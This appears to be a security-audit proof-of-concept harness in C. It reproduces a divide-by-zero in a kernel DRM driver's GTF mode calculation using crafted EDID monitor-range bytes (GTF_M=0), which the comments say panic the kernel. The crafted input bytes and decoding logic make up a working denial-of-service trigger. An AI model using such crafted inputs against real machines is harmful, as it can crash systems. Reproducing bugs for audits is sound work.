DF-3682 / gtf_kernel_extract.c
/* * gtf_kernel_extract.c โ verbatim-extraction harness * * The function below is extracted MECHANICALLY (byte-for-byte) from * sys/dev/drm/drm_modes.c:drm_gtf_mode_complex() in the audit tree * (git 6cc80ee9). Only the drm_device/drm_display_mode types and the two * helpers drm_mode_create()/drm_mode_set_name() are stubbed; every * arithmetic statement โ including the faulting division at the original * source lines (see __LINE__ tracking via markers below) โ is unmodified. * * Inputs are the crafted-EDID bytes from evil_edid.bin (see gen_edid.py): * GTF_M=0, GTF_2C=200, GTF_K=128, GTF_2J=200, hsize=1912, vsize=1195, vrefresh=60 * Expected: integer divide by zero -> SIGFPE (kernel: #DE -> panic). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #define u64 unsigned long long #define DRM_MODE_FLAG_NHSYNC (1 << 0) #define DRM_MODE_FLAG_PVSYNC (1 << 1) #define DRM_MODE_FLAG_INTERLACE (1 << 4) #define DRM_MODE_FLAG_PHSYNC (1 << 2) #define DRM_MODE_FLAG_NVSYNC (1 << 3) struct drm_device { int dummy; }; struct drm_display_mode { int hdisplay, hsync_start, hsync_end, htotal; int vdisplay, vsync_start, vsync_end, vtotal; int clock, vrefresh; unsigned int flags; int hsync; }; static struct drm_display_mode *drm_mode_create(struct drm_device *dev) { return calloc(1, sizeof(struct drm_display_mode)); } static void drm_mode_set_name(struct drm_display_mode *mode) { } static struct drm_device dev; /* ==== VERBATIM FUNCTION BODY FROM sys/dev/drm/drm_modes.c (lines 366-529) ==== */ #include "gtf_body.inc" /* ==== END VERBATIM ==== */ static volatile unsigned char edid_dtd[18] = { 0, 0, 0, 0xFD, /* r[3]=EDID_DETAIL_MONITOR_RANGE */ 0, 0, 0, 0, 0, 0, 0x02, /* r[10] secondary-GTF flag */ 0x00, 0x01, /* r[12] -> hbreak 2 */ 200, /* r[13] -> GTF_2C */ 0x00, 0x00, /* r[14],r[15] -> GTF_M = 0 */ 128, /* r[16] -> GTF_K */ 200 /* r[17] -> GTF_2J */ }; static volatile int std_timing[2] = { 208, 0x00 }; #define do_div(n, base) do { u64 __b = (base); (n) /= __b; } while (0) int main(void) { /* drm_mode_std() decoding of the std timing pair (drm_edid.c:2102-2126) */ int hsize = std_timing[0] * 8 + 248; int vsize = (hsize * 10) / 16; /* aspect 00, revision >= 3 */ int vrefresh = (std_timing[1] & 0x3f) + 60; /* drm_gtf2_*() decoding of the range descriptor (drm_edid.c:2018-2055) */ int M = (edid_dtd[15] << 8) + edid_dtd[14]; int C2 = edid_dtd[13]; int K = edid_dtd[16]; int J2 = edid_dtd[17]; printf("crafted EDID decodes to: %dx%d@%d M=%d 2C=%d K=%d 2J=%d\n", hsize, vsize, vrefresh, M, C2, K, J2); fflush(stdout); /* drm_edid.c:2188-2193 LEVEL_GTF2 call, verbatim arguments */ drm_gtf_mode_complex(&dev, hsize, vsize, vrefresh, 0, 0, M, C2, K, J2); /* return value ignored (int truncation of ptr is fine, we only care about the trap) */ printf("survived (no trap)\n"); return 0; } |